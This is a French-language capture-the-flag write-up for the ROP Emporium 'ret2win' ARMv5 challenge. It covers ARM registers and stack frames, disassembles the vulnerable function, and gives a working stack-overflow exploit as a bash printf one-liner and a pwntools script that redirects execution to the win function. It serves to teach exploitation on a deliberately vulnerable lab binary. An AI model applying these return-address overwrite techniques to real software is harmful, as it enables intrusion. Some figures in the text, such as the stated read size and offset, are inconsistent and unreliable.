Contents

Ropemporium ARMv5 ret2win

ret2win ARMv5

Introduction.

Cette article démarre une série consacrée à la résolution des challenges ropemporium. Avec la version ARM.

Voir les recommendation du Guide du débutant pour l’installation des prérequis qemu et de la version multi-architecture de gdb.

Minimum sur l’assembleur ARMv5.

Reference : azerai cheatsheet

Les registres

Généraux

r0             0x15
r1             0x40800188
r2             0x38
r3             0x0
r4             0x10614             0x10614
r5             0x0                 0x0
r6             0x10428             0x10428
r7             Utilisé pour les appels syscalls
r8             0x0                 0x0
r9             0x0                 0x0
r10            0x3ffff000          0x3ffff000
r11            fp : frame pointer, pointe la base de la pile
r12            ip : Intra Procedure          0x3ff25878
sp             sp : Stack Pointe, pointe le sommet de la pile
lr             Link Register, contient l'adresse de retour des instructions bl, ou blx
pc             Pointeur d'execution, pointe la prochaine instruction.

Convention d’appel des fonctions

Les instructions de call sont les instruction bl et blx.

Les paramètres de la fonctions sont attendus dans les premiers registres généraux r0,r1..r10

L’adresse de retour n’est pas placée sur la pile par l’instuction bl mais dans le registe lr. C’est dans prélude d’une fonction, la valeur le lr est empilée mais par la fonction appelée.

exemple de prélude

0x00010570      00482de9       push {fp, lr}        ; fp et lr sont empiles
0x00010574      04b08de2       add fp, sp, 4        ; le frame pointer est incrémenté de
0x00010578      20d04de2       sub sp, sp, 0x20     ; la pile local est crée

Etat initial

r10            0x3ffff000          0x3ffff000
r11            0x408001b4          0x408001b4
r12            0x21014             0x21014
sp             0x408001b0          0x408001b0
lr             0x1054c             0x1054c
pc             0x10570             0x10570 <pwnme>

Empilement de fp et lr

0x00010570      00482de9       push {fp, lr}        ; fp et lr sont empiles


r11            0x408001b4          0x408001b4
r12            0x21014             0x21014
sp             0x408001a8          0x408001a8           ; sp augmente
lr             0x1054c             0x1054c
pc             0x10574             0x10574 <pwnme+4>

gef➤  x/10x $sp
0x408001a8:	0x408001b4	0x0001054c	0x00000000	0x3fe70790
            fp          lr                      ex @fp
0x408001b8:	0x3ffaf000	0x40800314	0x00000001	0x00010518
0x408001c8:	0x46db4add	0x39bc4c21

fp est repositionné comme base de la nouvelle pile. 0x00010574 04b08de2 add fp, sp, 4 ; fp <= sp+4

r11            0x408001ac          0x408001ac   ; sp+4
r12            0x21014             0x21014
sp             0x408001a8          0x408001a8
lr             0x1054c             0x1054c
pc             0x10578             0x10578 <pwnme+8>

Décrément de sp

0x00010578      20d04de2       sub sp, sp, 0x20     ; la pile local est crée

r11            0x408001ac          0x408001ac
r12            0x21014             0x21014
sp             0x40800188          0x40800188
lr             0x1054c             0x1054c
pc             0x1057c             0x1057c <pwnme+12>

gef➤  x/12x $sp
0x40800188:	0x3ffafd08	0x3febaa14	0x00010614	0x00000000
0x40800198:	0x00010428	0x00000000	0x00000000	0x00000000
0x408001a8:	0x408001b4	0x0001054c	0x00000000	0x3fe70790
            ex lr       fp => lr

Au final on a donc

sp => 0x40800188: 0x3ffafd08
      0x4080018c: 0x3febaa14
...
      0x408001a8: 0x408001b4 | fp appelant
fp => 0x408001ac: 0x0001054c | lr adresse de retour.

On est proche de l’état de la pile x64 32 bits. fp => sebp lr => seip

Découverte

Les fonctions

gef➤  disas pwnme
Dump of assembler code for function pwnme:
0x00010570 <+0>:	push	{r11, lr}
0x00010574 <+4>:	add	r11, sp, #4
0x00010578 <+8>:	sub	sp, sp, #32
0x0001057c <+12>:	sub	r3, r11, #36	; 0x24
0x00010580 <+16>:	mov	r2, #32
0x00010584 <+20>:	mov	r1, #0
0x00010588 <+24>:	mov	r0, r3
0x0001058c <+28>:	bl	0x10410 <memset@plt>
0x00010590 <+32>:	ldr	r0, [pc, #64]	; 0x105d8 <pwnme+104>
0x00010594 <+36>:	bl	0x103d4 <puts@plt>
0x00010598 <+40>:	ldr	r0, [pc, #60]	; 0x105dc <pwnme+108>
0x0001059c <+44>:	bl	0x103d4 <puts@plt>
0x000105a0 <+48>:	ldr	r0, [pc, #56]	; 0x105e0 <pwnme+112>
0x000105a4 <+52>:	bl	0x103d4 <puts@plt>
0x000105a8 <+56>:	ldr	r0, [pc, #52]	; 0x105e4 <pwnme+116>
0x000105ac <+60>:	bl	0x103bc <printf@plt>
0x000105b0 <+64>:	sub	r3, r11, #36	; 0x24
0x000105b4 <+68>:	mov	r2, #56	; 0x38
0x000105b8 <+72>:	mov	r1, r3
0x000105bc <+76>:	mov	r0, #0
0x000105c0 <+80>:	bl	0x103c8 <read@plt>
0x000105c4 <+84>:	ldr	r0, [pc, #28]	; 0x105e8 <pwnme+120>
0x000105c8 <+88>:	bl	0x103d4 <puts@plt>
0x000105cc <+92>:	nop			; (mov r0, r0)
0x000105d0 <+96>:	sub	sp, r11, #4
0x000105d4 <+100>:	pop	{r11, pc}
...
End of assembler dump.

Observons la fonction vulnerable avec radare2

r2 -A ret2win_armv5

[0x00010428]> s sym.pwnme
[0x00010570]> pdf
            ; CALL XREF from main @ 0x10548
┌ 104: sym.pwnme ();
│           ; var void *buf @ fp-0x24
│           ; var int32_t var_4h_2 @ sp+0x20
│           ; var int32_t var_4h @ sp+0x24
│           0x00010570      00482de9       push {fp, lr}
│           0x00010574      04b08de2       add fp, var_4h           ; add fp, sp, 4
│           0x00010578      20d04de2       sub sp, sp, 0x20
│           0x0001057c      24304be2       sub r3, buf
│           0x00010580      2020a0e3       mov r2, 0x20
│           0x00010584      0010a0e3       mov r1, 0                   ; int c
│           0x00010588      0300a0e1       mov r0, r3                  ; void *s
│           0x0001058c      9fffffeb       bl sym.imp.memset           ; void *memset(void *s, int c, size_t n)
│           0x00010590      40009fe5       ldr r0, str.For_my_first_trick
│           0x00010594      8effffeb       bl sym.imp.puts             ; int puts(const char *s)
│           0x00010598      3c009fe5       ldr r0, str.What_could_possibly_go_wrong_
│           0x0001059c      8cffffeb       bl sym.imp.puts             ; int puts(const char *s)
│           0x000105a0      38009fe5       ldr r0, str.You_there__may_I_have ; [0x10730:4]=0x20756f59 ; "You there, may I ..."
│           0x000105a4      8affffeb       bl sym.imp.puts             ; int puts(const char *s)
│           0x000105a8      34009fe5       ldr r0, str.__              ; [0x10790:4]=0x203e ; "> " ; const char *format
│           0x000105ac      82ffffeb       bl sym.imp.printf           ; int printf(const char *format)
│           0x000105b0      24304be2       sub r3, buf                 ; sub r3, fp, 0x24
│           0x000105b4      3820a0e3       mov r2, 0x38                ; '8'
│           0x000105b8      0310a0e1       mov r1, r3                  ; void *buf
│           0x000105bc      0000a0e3       mov r0, 0                   ; int fildes
│           0x000105c0      80ffffeb       bl sym.imp.read             ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x000105c4      1c009fe5       ldr r0, str.Thank_you_      ; [0x10794:4]=0x6e616854 ; "Thank you!" ; const char *s
│           0x000105c8      81ffffeb       bl sym.imp.puts             ; int puts(const char *s)
│           0x000105cc      0000a0e1       mov r0, r0                  ; 0x10794 ; "Thank you!"
│           0x000105d0      04d04be2       sub sp, var_4h_2            ; sub sp, fp, 4
└           0x000105d4      0088bde8       pop {fp, pc}
[0x00010570]>
0x000105b0      24304be2       sub r3, buf
0x000105b4      3820a0e3       mov r2, 0x38                ; '8'
0x000105b8      0310a0e1       mov r1, r3                  ; void *buf
0x000105bc      0000a0e3       mov r0, 0                   ; int fildes
0x000105c0      80ffffeb       bl sym.imp.read             ; ssize_t read(int fildes, void *buf, size_t nbyte)

L’appel de fonction (branche and link) utilise les registres r0,r1,r2.

La taille lue est 50 et le buffer de lecture est situé en fp-0x24. (fp-36)

Au moment du read :

sp                                          fp
v                                           v
AAAAAAAA AAAAAAAA AAAAAAAA AAAAAAAA save_lr save_fp
^                                   ^
buf=fp-0x24                         buf+0x20

L’offset de débordement est de 0x24 - 4 = 0x20

Exploitation

En bash

ret2win$ printf "%36s\xec\05\01" | qemu-arm -g 1337 ret2win_armv5
ret2win by ROP Emporium
ARMv5

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

En bash et suivi gdb

On va d’une part lancer notre executable avec qemu et une écoute gdb sur le port 1337. ret2win$ printf “%36s\xec\05\01” | qemu-arm -g 1337 ret2win_armv5 ret2win by ROP Emporium ARMv5

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

D’autre part, sur un autre terminal, nous attacher au proces en remote sur ce port. On pose un point d’arrêt sur l’appel read (pwnme+80).

ret2win$ gdb-multiarch ret2win_armv5
...
gef➤  target remote localhost:1337
gef➤  b *pwnme+80
Breakpoint 1 at 0x105c0
gef➤  c

Avant le read

gef➤  x/12x $sp
0x40800188:	0x00000000	0x00000000	0x00000000	0x00000000
0x40800198:	0x00000000	0x00000000	0x00000000	0x00000000
0x408001a8:	0x408001b4	0x0001054c	0x00000000	0x3fe70790
            fp            lr

ni

gef➤  x/12x $sp
0x40800188:	0x20202020	0x20202020	0x20202020	0x20202020
0x40800198:	0x20202020	0x20202020	0x20202020	0x20202020
0x408001a8:	0x20202020	0x000105ec	0x00000000	0x3fe70790
                        ret2win

continue

Le premier écran reçoit

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!

En python

Il est difficile de fonctionner en attachement avec gdb.

On utlise donc gdb.debug pour lancer le programme.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# Set up pwntools for the correct architecture
elf = context.binary = ELF('ret2win_armv5')

winadr = elf.symbols["ret2win"]

gs='''
b *pwnme+80
c
'''

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


time.sleep(.5)


io.recvuntil(b"> ")

print("ret2win addr : ",hex(winadr))
PL=0x24*b"A"+p32(winadr)
io.sendline(PL)
io.interactive()

En mode debug le module pwntools lance bien le programme avec gdb-multiarch et la bonne architecture.

ret2win$ python3 solve.py -d
[*] '/home/jce/w/ropemporium/armv5/ret2win/ret2win_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
[+] Starting local process '/usr/bin/qemu-arm': pid 37527
[*] running in new terminal: ['/usr/bin/gdb-multiarch', '-q', '-x', '/tmp/pwn6t7qss2t.gdb']
ret2win addr :  0x105ec
[*] Switching to interactive mode
Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
qemu: uncaught target signal 11 (Segmentation fault) - core dumped